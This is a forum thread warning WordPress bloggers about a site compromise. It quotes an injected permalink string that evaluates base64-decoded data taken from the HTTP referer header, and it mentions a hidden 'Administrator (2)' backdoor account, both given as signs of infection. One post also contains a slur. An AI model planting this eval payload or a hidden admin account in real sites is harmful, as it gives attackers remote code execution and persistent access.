Thread: Bloggers Security Threat!

First, there are strange additions to permalinks, such as example.com/category/post-title/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFER ER%5D))%7D%7D|.+)&%/. The keywords are “eval” and “base64_decode.”

The second clue is that a “back door” was created by a “hidden” Administrator. Check your site users for “Administrator (2)” or a name you do not recognize.

I wonder how that could have happened. As long as users are upgraded to the latest version of WordPress, it seems that they should be fine. Well, I guess this proves that nothing on the Internet is reliable and safe. And yet the retards over on Facebook still post their address :/

I'm not really sure what any of the clues meant , but regardless it still sounds like a big problem. Hopefully Swift knows about it.

I just let swift know about it, so he's aware.

Is this affecting Twitter, forums, etc.?

Originally Posted by stealthborn

Is this affecting Twitter, forums, etc.?

It's quite hard to say. With a little patience, intelligence, and some creativity anyone can go and do this to any website on the Internet. It is just a matter of finding the hole. I'm not sure, but it seems that a person has found a hole in a permalink. They then used that hole to make themselves an administrator and wrack havoc on the site.